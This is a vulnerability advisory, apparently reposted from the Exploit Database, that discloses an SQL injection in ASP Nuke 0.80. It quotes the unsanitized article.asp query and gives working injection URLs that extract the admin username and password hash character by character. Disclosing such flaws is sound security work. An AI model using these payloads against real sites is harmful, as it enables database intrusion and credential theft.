ASP Nuke SQL Injection Vulnerability

'''

  __  __  ____         _    _ ____ 

 |  \/  |/ __ \   /\  | |  | |  _ \

 | \  / | |  | | /  \ | |  | | |_) |

 | |\/| | |  | |/ /\ \| |  | |  _ <

 | |  | | |__| / ____ \ |__| | |_) |

 |_|  |_|\____/_/    \_\____/|____/

 

http://www.exploit-db.com/moaub11-asp-nuke-sql-injection-vulnerability/

'''

 

Abysssec Inc Public Advisory

  

  

  Title            :  ASP Nuke Sql Injection Vulnerability

  Affected Version :  AspNuke 0.80

  Discovery        :  www.abysssec.com

  Vendor       :  http://www.aspnuke.com

 

 

  Download Links   :  http://sourceforge.net/projects/aspnukecms/

 

  

Description :

===========================================================================================     

 

1)- SQl Injection

  This version of ASP Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

 

 

  Valnerable Code  in .../module/article/article/article.asp:

 

  Ln 37:

        sStat = "SELECT art.ArticleID, art.Title, art.ArticleBody, " &_

        "       auth.FirstName, auth.LastName, " &_

        "       cat.CategoryName, art.CommentCount, " &_

        "       art.Created " &_

        "FROM   tblArticle art " &_

        "INNER JOIN tblArticleAuthor auth ON art.AuthorID = auth.AuthorID " &_

        "INNER JOIN tblArticleToCategory atc ON atc.ArticleID = art.ArticleID " &_

        "INNER JOIN tblArticleCategory cat ON atc.CategoryID = cat.CategoryID " &_

        "WHERE  art.ArticleID = " & steForm("articleid") & " " &_

        "AND    art.Active <> 0 " &_

        "AND    art.Archive = 0"

 

 

   Considering to the code, you can browse these URLs:

    

       http://www.site.com/module/article/article/article.asp?articleid=7'                 (the false Query will be shown)

       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'='a'--    (this Query is always  true)

 

   with the following URL you can find the first character of Username: 

       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,1,1)+from+tblUser)--

    

   and second character:

       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,2,1)+from+tblUser)--

    

   and so on.

    

   So you gain Admin's information like this:

       Username : admin

       Password : (sha256 hash)

 

 

   Which the Password was encrypted by SHA algorithm using .../lib/sha256.asp file.

 

 

===========================================================================================

출처 : The Exploit Database